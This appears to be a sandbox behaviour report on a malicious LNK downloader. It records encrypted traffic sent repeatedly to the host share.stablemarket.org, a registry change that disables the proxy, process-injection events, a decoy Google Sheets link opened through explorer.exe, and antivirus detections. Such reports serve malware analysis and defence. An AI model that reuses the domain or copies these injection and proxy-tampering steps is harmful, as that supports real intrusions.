 buffer: yuasdƒ€5Q½|LæwÆD„^gø&’ÉËñéÆtÏ+d/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 408
0 0

WSASend

 buffer: FBA@éSž'ýÜ<úÞ¾|R ä"øsFFºðÈußÿÇhq؜Q-;ßIŒÇé ÕС’œ×/ UøFù¿…±0º¨:w[=?ӓN6Ý|Z`nò;unýޘ¾3ècý R+feãüÑÒä§~?Áþ
socket: 408
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: CWN.æým2YÚõn±ôœ]=ê·)Ée“—3ÞÈ á£¯O[9@¾ ꫦy« œ;xòªp\9«k õýS¤b¾- w/ùb¥Ï쯏\Ì«!)‹ÏWSÎWô é·[ÁÙ.ìyà¨ÛZ ëÄqôœŠ%OÂiçmÈl[óa{±—5M²ñÍj9î/1¦jhS¤b˜rPéð^ùHe!²‰3ʪ5*õ¸s¾áî¢ï×½£ÈÞà‡G'sÿY¥Ì“Nz1¿ÆP`A“ÂHkz‰·ƒ%æ|RxØí—[Wy‘™e‘‹6 €Âb»£¸Xv § är3» #”]c¿Å„饄
socket: 408
0 0

WSASend

 buffer:  0†ÚB=SCd$H°“] û²;rÖHsq=à
socket: 408
0 0

WSASend

 buffer:  DÂ:=YpHg·e÷À®´y5 qážPû2$‚Zµp ß
socket: 408
0 0

WSASend

 buffer: yuasd#ìnN€óHCOm`žÉÔ£™8NZÏFÞX‚0Ö/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 592
0 0

WSASend

 buffer: FBA½­PJ”dßq¥,‡À•Èÿ”-O±wÚ?ºRÌW&Y¥‘ÖÜkL£ø»˜ÝŽãªm®u2ìSoJ00Š¦¨¤E¬ÐRCå쯻Ոúý±·qô$?¤îàhL”9qÔÁ™§›¾K²
socket: 592
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1140
0 0

WSASend

 buffer: … Í5šCrÀiaÈ«ì®àg®¼`^bê«Þ¨Ú{ƍzK fœydŒõ}>ƒ*ŸÞòµÏŠ˜œ1 –DdàǹÄaØN žn2ÛñÄ6Ǩ²v²zÅ¢sÚÿ%àB¯+õfà$Å·gM±hf“5]áA[N}EY¬‘HîT;¿¤0)†œÅðÕEÇ)½}#ÁšÐ‰sÇɪS]Ö ¼vHZåðM”ñ,ã±ì³á†®ßŽy_ laþ¼­æ¸BO¹Ü÷'9¾æÓ*ßÝbI½'³”vø·®ÃÆèÐLö_”AåGÜx-zå‡ÌJ+jv Ä2•†:„Ýþ¼”ó™‡*af*$(J5
socket: 592
0 0

WSASend

 buffer:  &Ír«Ð‰˜rÑe®*–ò„å<͒%ìËJÖîÖ|ëæ
socket: 592
0 0

WSASend

 buffer:  š.Å$¾Ûx¶0°i$x›ø\ގ$#€ñB“Û™
socket: 592
0 0

WSASend

 buffer: yuasd3l‚†î£àE‘ZÐ ‡/œ¯=,mµ@fprÎ(n+/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 1148
0 0

WSASend

 buffer: aI0 GBAx¿ÁΔ¡z1¸è×[ÊnŠ$£~k«úujïÑUÞ¹Þa°—:¬ÇfùÔ_Büò'¥Ïµ6–È­QŒ3÷²<0”@ K÷·1xß²½?ržµª%4ÿ\ÖؙðåuK™ž·©j?Úÿ]1{É%
socket: 1148
0 0
Time & API Arguments Status Return Repeated

RegSetValueExA

 key_handle: 0x000002c0
regkey_r: ProxyEnable
reg_type: 4 (REG_DWORD)
value: 0
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
1 0 0
Time & API Arguments Status Return Repeated

WSASend

 buffer: yuasd" 7E—õJ\KÝwm`³‰xûR=#{M/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 596
0 0

WSASend

 buffer: FBA1iÞï«ÿ1aa$&xF ñŠÊ{Òc’ ÜiE¢Dä§2j™U´éy˜82Šò8íLæ…/Ò«{´‘0ïèyTÈÐM9*ƒô7PmÚö.4û> µ—ê›ãX$ñC{‡N#lA–*è¶í
socket: 596
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: ÄÖzšAëÐäØG²Âڏbi?Y+ÕùäJoÚÏçô;)Ý|BoP0'ûrìwOªÔø^ݙ®ã11j1îÓèàƒ¿H—Ì‘}ÐQÝ_­È$‘s»{{Às%cƒí…~sU'3~E÷§žíÊAÙkZÔù‰äJ-:#$W at6Ò ^E÷tã%åÃØ(«¼™íÆ#~0àê¼PÒÚÔÄ3²Tqf޳™èѲˆF©y[jŸˬ4E½‹M-j4 ªüµ•ûyZryº ‰é}§GN¼4sœûyÚWÁ$¹(ÀÂ|­j—ubnðizŠŸwÓÞ=0^í=‹\Ê¥>Ô 6y
socket: 596
0 0

WSASend

 buffer:  ŠP“0¦#eM"ƒ-þ:‹­ƒW1m”ŠºÃ¤'OwŸ«
socket: 596
0 0

WSASend

 buffer:  $õË'sû¶Jèwa¶Xó±F÷òÿí%á UÛcx6Æ
socket: 596
0 0

WSASend

 buffer: yuasd3âž>à% NM”ÞŠ#iôãp2â ؍á¡ÿ/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 1124
0 0

WSASend

 buffer: FBA*"&Ãq`‚ Ì8UŽ“áŽu£f¡Ç*3ÕQïûeñfwáabV·/útõQpÒÇSßÓ¸œŸƒ?w‰GoÔÓ0u[5è=õüë§&M»±°µxƒ|¯ïßóòÕ?zî¢ãJJû¶î)‘|åwg­
socket: 1124
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: /Z›LŒK;͜Àš[îاÝrU¼eçÛê;ëH|’´à|˜p nÍG F‡0&dDC/yzNý°Úý†r\øÙ«qZÍ„2 6èӝp<vèãïmñ; ¢°ìôÖµ3º‰}û:#‡Á•BÖ T°9Ùw¼‚Ám è‰DƒqoL7vçæ,®+ö¾ýyƒÛA"3.^yÝl¦wÖÔjt¬ø'»öyãd›E*êS“¬$Å*óNüâ߸GŒD’ÄixG=–I.nù‹¹®Wyº¯â‚[[dGgý›û:`Ð•®ëoøð­<º¨áÅŽí~Ñ¢iº ÷ œ¿½|ý¨ÇÈ]tÁDÉ
socket: 1124
0 0

WSASend

 buffer:  Ó´™À8-T‚ˆ\æãBþ–€çb²¯ìí‚ÅäÁà`[D
socket: 1124
0 0

WSASend

 buffer:  %ÐbNnwTÍ·D!^¥Áàk ÀCXBÛBk%$
socket: 1124
0 0

WSASend

 buffer: yuasdCÌC²¿¿-G$ ¤¾c(:Ìbò'ødÕù²O£/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 420
0 0

WSASend

 buffer: FBAbŠ´¬ÌŠ§×$ ¤nzzûx%èXÐëøW?åQxGªâ×ê~ã 4å(fd³˜4ꃓNn¯‘J%_§YT0ÏÓ¹n[gõ,ã¯úÖô/•Œ =3÷;´Mx$%ÛZP÷Â7<o$Vç»
socket: 420
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: ¢µÀ4¤K¨è¹]óÙ.2 §?ˆ4á2N¯ãŲwSŒ#ýKÍ5§7}à@§ä GKuD¥­Ï-DV弡䐃o1x8[?kkÎf§åŸÕ¹eҀéuOn ƒ±Í¿´Z&+ ‚ÃEzejª}1ԄEAu]>‹Ì„‘êMìûû!.ŽªnLoƒVêmN£…N^ _ê4 Ö¡ìþµÆÙ)ðù˜6çxˆI›7ßcj.Äñâj’²cÒ&—C¾µI+㸻ˎ1U´nQPß%=&PsàÒ+•+$}ù qgó„$šˆXWÏÎЏ¨Gµ¼ö00¬yç<¥“’6^¹4]q Ô,}¿»ÃœuWC“
socket: 420
0 0

WSASend

 buffer:  HÜÞHÊåö§‘­÷šApjM{këYÔ·:ãÕÜqe·
socket: 420
0 0

WSASend

 buffer:  ¨¹¸óo@ÿh?ÚþŒ"E©ãðõ€ñ¿ŸÜÏ
socket: 420
0 0

WSASend

 buffer: yuasdSûcT©'A¯µB~:ë€þ…ADÁ2Az|.2ò/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 404
0 0

WSASend

 buffer: FBAÍ\SK¡=b´} ù‹­ûÅ=èåÿ’4¥‡ÖmÒz’É»¥]ouä æ]MæZqymIüðŠ ˜*îÐý02M½C…ôXþo£B-³¦ S©:í ú“~ƒËF|&È°˜„ÑKOñNtbKE
socket: 404
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: soґnÉq‰Ê@>ŠñiZÎÕ¾;á¬G•‡jêú®¶A`a?=Ÿ†…¬xh[Pï«ÐjôCNÂ]²YôxƒÉÌá5ð›Y¼?Ãěªsl­#²©¹ÿŒ$>CŽPH0½:ží–ùՏºäq±Ç´ÁaMǃní,WWíXkéšÏðŸA2é«x‘Ù}lO• ؆´OÑnÆÇ;÷‘"Þ§ë&Bes«8ڟOl(ð|;jgð"ˆ®˜ð͚öµxZ:;°AÔ@kßaIaeìtÓ ‹&GÓé1ÙIœz9CKïÌ+Ác[ã{í U9»”eÕsA“Ý€fÞ19ÝYv¢õÚ[Õ>Ȁ@~¾ô€aX¼¸Ì»Ç
socket: 404
0 0

WSASend

 buffer:  À¿vS7‹{þë³”©üŠGtç †Qzã–:Ë=v
socket: 404
0 0

WSASend

 buffer:  dé΁˜8 ˆ½K"#g·çQêªPîgY‘8À¶Ã
socket: 404
0 0

WSASend

 buffer: yuasdcIˆ×jáŸoBÀa“Ør츤ðù?GgÇ/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 412
0 0

WSASend

 buffer: FBAñ”ÊÚ祜øàæŸ+¢·w„Å\?8[– º@­ßê ÔÇQ­uvey³ýF]ý šªþ¹ÎvD—¬£‘ž0l”ÿ®uÙÑñǧÛLoϞÿ¤§é„KŸŸdRS;¸)Ý5‚»©–ÝÊ4¼oàÓzâ
socket: 412
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: 4ʛ«Ôl“®¸¹0ºuéA—qØç3D0Ÿ96¶Q<šÝ¬Ð‘áq´¨Ê€éªaY–§'ò_ÙrÕ:­ï¥7¡ë™‚¦ÔI\Ϋï3S•(Õ¿N‰»è>uP€¶E“vµS¨ƒùç=d0|= …ÑÃKÇG[SîO+š…§`’,££•¡x±Ãp(z3†FóÊzÈ]p†z'˜B×=ËÓ¼ O¾ýš©L(%)ÕõÖ11wÆâœó{u ‹Më®UØ:79Diƒ”ˆ¬ÅKT»£3ìáà|¹ò¯l¤r7’¶©§… ÔËSDS÷ƒà ™2ãŽ'#ÏÊçàÛò¶ÓÛZ/Zÿ°«Ï3ÑÑ°7
socket: 412
0 0

WSASend

 buffer:  éÄW8j¹9Àž­ˆ\<!üRusÃìad Ëö‰N•W
socket: 412
0 0

WSASend

 buffer:  ß]ïДwuñœr¹Ç2/÷ßëå.›Ü‡L³ÉFŽ  
socket: 412
0 0

WSASend

 buffer: yuasdsÑ;½ðRpe°ÃzϹôÝvÄö‘ýö{ÿ|Ü<Ñz/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 568
0 0

WSASend

 buffer: FBA°d:€vÝjz˵¾K¸’“bê笼r!MûÏ Ãï­ê>÷Xüt¼Ãw¯O/E”f "R¹*òË0½Yr“¨ÈNº–Ïs2¢S+±É b¿ÆFôä±\©/Þ¹™¼>ñ¾F$ü
socket: 568
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: §ëaP É]ºk'¯ŽŸPÞK¢›„´þLè0éÜ-e_Ƅõ“þ”Áf$ÁâùïAËid;ÚÐå»ez0O󝗭r€„Ç™J9ÅM|K¼XQ2Yxûú{ž)ø~rFǖg*((î+‘˜r·êÕ&ÉåFÎãßúA£T‘æò çhB¾ƒ/=Qì3ݘŒïeÎèe%ícq¹‹¦vðNS«Ü¸íE-ð¿á#UJ«jÃcfLtÀçü´UIê>ØiƒPlp-„–ÕDzxËpO¨îYR4Ő¾mGUD[)ý¯`2àm³ b¢¯ÛÚWa9§Z*°=¦}.¸5vUÛ1 &‹!‘4
socket: 568
0 0

WSASend

 buffer:  7äb…AáԆí_¤áJGˆ ­‹1~Z¡•Po
socket: 568
0 0

WSASend

 buffer:  I/eÉ⢛c^´  û+×¾…¾È]ܳ®ü..
socket: 568
0 0

WSASend

 buffer: yuasdƒ€5Q½|LæwÆD„^gø&’ÉËñéÆtÏ+d/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 408
0 0

WSASend

 buffer: FBA@éSž'ýÜ<úÞ¾|R ä"øsFFºðÈußÿÇhq؜Q-;ßIŒÇé ÕС’œ×/ UøFù¿…±0º¨:w[=?ӓN6Ý|Z`nò;unýޘ¾3ècý R+feãüÑÒä§~?Áþ
socket: 408
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1160
0 0

WSASend

 buffer: CWN.æým2YÚõn±ôœ]=ê·)Ée“—3ÞÈ á£¯O[9@¾ ꫦy« œ;xòªp\9«k õýS¤b¾- w/ùb¥Ï쯏\Ì«!)‹ÏWSÎWô é·[ÁÙ.ìyà¨ÛZ ëÄqôœŠ%OÂiçmÈl[óa{±—5M²ñÍj9î/1¦jhS¤b˜rPéð^ùHe!²‰3ʪ5*õ¸s¾áî¢ï×½£ÈÞà‡G'sÿY¥Ì“Nz1¿ÆP`A“ÂHkz‰·ƒ%æ|RxØí—[Wy‘™e‘‹6 €Âb»£¸Xv § är3» #”]c¿Å„饄
socket: 408
0 0

WSASend

 buffer:  0†ÚB=SCd$H°“] û²;rÖHsq=à
socket: 408
0 0

WSASend

 buffer:  DÂ:=YpHg·e÷À®´y5 qážPû2$‚Zµp ß
socket: 408
0 0

WSASend

 buffer: yuasd#ìnN€óHCOm`žÉÔ£™8NZÏFÞX‚0Ö/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 592
0 0

WSASend

 buffer: FBA½­PJ”dßq¥,‡À•Èÿ”-O±wÚ?ºRÌW&Y¥‘ÖÜkL£ø»˜ÝŽãªm®u2ìSoJ00Š¦¨¤E¬ÐRCå쯻Ոúý±·qô$?¤îàhL”9qÔÁ™§›¾K²
socket: 592
0 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1140
0 0

WSASend

 buffer: … Í5šCrÀiaÈ«ì®àg®¼`^bê«Þ¨Ú{ƍzK fœydŒõ}>ƒ*ŸÞòµÏŠ˜œ1 –DdàǹÄaØN žn2ÛñÄ6Ǩ²v²zÅ¢sÚÿ%àB¯+õfà$Å·gM±hf“5]áA[N}EY¬‘HîT;¿¤0)†œÅðÕEÇ)½}#ÁšÐ‰sÇɪS]Ö ¼vHZåðM”ñ,ã±ì³á†®ßŽy_ laþ¼­æ¸BO¹Ü÷'9¾æÓ*ßÝbI½'³”vø·®ÃÆèÐLö_”AåGÜx-zå‡ÌJ+jv Ä2•†:„Ýþ¼”ó™‡*af*$(J5
socket: 592
0 0

WSASend

 buffer:  &Ír«Ð‰˜rÑe®*–ò„å<͒%ìËJÖîÖ|ëæ
socket: 592
0 0

WSASend

 buffer:  š.Å$¾Ûx¶0°i$x›ø\ގ$#€ñB“Û™
socket: 592
0 0

WSASend

 buffer: yuasd3l‚†î£àE‘ZÐ ‡/œ¯=,mµ@fprÎ(n+/5 ÀÀÀ À 284ÿshare.stablemarket.org  
socket: 1148
0 0

WSASend

 buffer: aI0 GBAx¿ÁΔ¡z1¸è×[ÊnŠ$£~k«úujïÑUÞ¹Þa°—:¬ÇfùÔ_Büò'¥Ïµ6–È­QŒ3÷²<0”@ K÷·1xß²½?ržµª%4ÿ\ÖؙðåuK™ž·©j?Úÿ]1{É%
socket: 1148
0 0
Process injection Process 2476 resumed a thread in remote process 204
Process injection Process 204 resumed a thread in remote process 2128
Process injection Process 2596 resumed a thread in remote process 2812
Process injection Process 2596 resumed a thread in remote process 548
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000002ec
suspend_count: 1
process_identifier: 204
1 0 0

NtResumeThread

 thread_handle: 0x00000084
suspend_count: 0
process_identifier: 2128
1 0 0

NtResumeThread

 thread_handle: 0x00000084
suspend_count: 0
process_identifier: 2812
1 0 0

NtResumeThread

 thread_handle: 0x00000088
suspend_count: 0
process_identifier: 548
1 0 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2828
thread_handle: 0x000006e0
process_identifier: 2692
current_directory: C:\Users\Public
filepath: C:\Windows\System32\explorer.exe
track: 1
command_line: "C:\Windows\System32\explorer.exe" "https://docs.google.com/spreadsheets/d/1CTWarBPpx6kQjpevxr7qeQGPenjAR_7H/edit?usp=sharing&ouid=118006626630144401406&rtpof=true&sd=true"
filepath_r: C:\Windows\System32\explorer.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000006e4
1 1 0
file C:\Windows\SysWOW64\wscript.exe
Lionic Trojan.WinLNK.Nioc.4!c
CAT-QuickHeal LNK.Agent.41324
ALYac Heur.BZC.YAX.Nioc.1.078B6D01
Sangfor Trojan.Generic-LNK.Save.6890a73b
Arcabit Heur.BZC.YAX.Nioc.1.078B6D01
ESET-NOD32 LNK/Agent.GX
Kaspersky HEUR:Trojan.WinLNK.Agent.gen
BitDefender Heur.BZC.YAX.Nioc.1.078B6D01
ViRobot LNK.S.Downloader.22821
MicroWorld-eScan Heur.BZC.YAX.Nioc.1.078B6D01
Tencent Heur:Trojan.Winlnk.Downloader.wya
Ad-Aware Heur.BZC.YAX.Nioc.1.078B6D01
Sophos Troj/DownLnk-X
DrWeb LNK.Downloader.207
FireEye Heur.BZC.YAX.Nioc.1.078B6D01
Emsisoft Heur.BZC.YAX.Nioc.1.078B6D01 (B)
Ikarus Win32.Outbreak
GData Heur.BZC.YAX.Nioc.1.078B6D01
AhnLab-V3 LNK/Autorun.Gen
MAX malware (ai score=96)
VBA32 suspected of Trojan.Link.URL
Rising Downloader.Mshta/LNK!1.BADA (CLASSIC)
SentinelOne Static AI - Malicious LNK